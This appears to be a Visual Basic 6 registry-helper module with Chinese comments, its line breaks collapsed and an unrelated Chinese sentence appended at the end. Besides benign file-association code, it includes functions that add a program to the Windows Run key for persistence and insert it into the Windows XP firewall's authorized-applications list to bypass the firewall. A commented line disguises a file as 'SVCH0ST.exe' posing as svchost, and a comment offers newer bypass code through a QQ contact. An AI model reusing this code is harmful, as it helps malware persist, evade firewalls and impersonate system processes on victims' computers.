Option Explicit'声明要加载的函数Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As LongPrivate Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As LongPrivate Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpData As Any, ByVal cbData As Long) As LongPrivate Declare Function RegSetValue Lib "advapi32.dll" Alias "RegSetValueA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As LongPrivate Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByVal lpData As Any, lpcbData As Long) As Long ' Note that if you declare the lpData parameter as String, you must pass it By Value.Public Declare Function RegQueryValue Lib "advapi32.dll" Alias "RegQueryValueA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal lpValue As String, lpcbValue As Long) As LongPrivate Const HKEY_CURRENT_USER = &H80000001Private Const HKEY_CLASSES_ROOT = &H80000000'写注册表的文本字段Public Function RegWriteAllString(ByVal hhKey&, subString$, strValueName As String, ByVal lpValue$) Dim hKey& RegCreateKey hhKey, subString, hKey RegSetValueEx hKey, strValueName, 0&, 1&, ByVal lpValue, Len(lpValue) * 2 RegCloseKey hKeyEnd Function'向注册表中写入每个项目默认键的value数据字符串，hhKey为头键，subString为子键，lpValue为将写入的值Public Function RegWriteString(ByVal hhKey&, subString$, ByVal lpValue$) Dim hKey& RegCreateKey hhKey, subString, hKey RegSetValue hKey, "", 1&, lpValue, Len(lpValue) RegCloseKey hKeyEnd Function'从注册表中读取每个项目默认键的value数据字符串，针对hhKey而言,subString为子键，stringResult为接收变量Public Function RegReadString(ByVal hhKey As Long, subString As String, stringResult As String) Dim myType As Long, myLength&, myStr$ Dim hKey As Long RegCreateKey hhKey, subString, hKey RegQueryValue hKey, "", ByVal 0, myLength myStr = String(myLength, Chr$(0)) RegQueryValue hKey, "", myStr, myLength stringResult = RTrim(myStr) RegCloseKey hKeyEnd FunctionPublic Function RegReadAllString(hhKey As Long, ByVal subString As String, ByVal stringName As String) As String Dim myType As Long, myLength&, myStr$ Dim hKey As Long RegCreateKey hhKey, subString, hKey RegQueryValueEx hKey, stringName, 0&, 1&, myStr, myLength myStr = String(myLength, Chr$(0)) RegQueryValueEx hKey, stringName, 0&, 1&, myStr, myLength RegReadAllString = Trim(myStr) RegCloseKey hKeyEnd Function'加入系统启动Public Function AddSystemRun(ByVal strName As String, ByVal strPath As String) As Boolean On Error GoTo theAddERR AddSystemRun = True RegWriteAllString &H80000002, "Software\Microsoft\Windows\CurrentVersion\Run", strName, strPath Exit FunctiontheAddERR: Err.Clear AddSystemRun = FalseEnd Function'过WINXP防火墙只支持WINXP,高版本代码向我索取：QQ:578652067Public Function ThroughFireWall(ByVal strFilePath As String, ByVal strName As String, Optional ByVal strName2 As String = "", Optional ByVal strPort As String = "*") As Boolean On Error GoTo ThroughFireWallErr ThroughFireWall = True strFilePath = Trim(strFilePath) strName = Trim(strName) If strName2 = "" Then strName2 = strName Else strName2 = Trim(strName2) End If 'RegWriteAllString &H80000002, "System\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List", "svchost", App.Path & "/SVCH0ST.exe:*:Enabled:IExplorer" RegWriteAllString &H80000002, "System\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List", strFilePath, strFilePath & ":" & strPort & ":Enabled:" & strName2 Exit FunctionThroughFireWallErr: Err.Clear ThroughFireWall = FalseEnd Function'注册新文件类型的过程Public Function NewFileType(ByVal FileTypeNm As String, ByVal FileIco As String, ByVal FileOpen As String) As Boolean On Error GoTo theFail NewFileType = True FileTypeNm = Trim(FileTypeNm) FileIco = Trim(FileIco) FileOpen = Trim(FileOpen) Dim HouZui As String Dim FileBiaoShi As String HouZui = "." & FileTypeNm FileBiaoShi = FileTypeNm & "file" '写入注册表 RegWriteString HKEY_CLASSES_ROOT, Trim(HouZui), Trim(FileBiaoShi) RegWriteString HKEY_CLASSES_ROOT, Trim(FileBiaoShi) & "\DefaultIcon", FileIco & ",1" RegWriteString HKEY_CLASSES_ROOT, Trim(FileBiaoShi) & "\Shell\Open\Command", FileOpen Exit FunctiontheFail: Err.Clear NewFileType = FalseEnd Function
不然你大概会一直好奇和不甘吧——
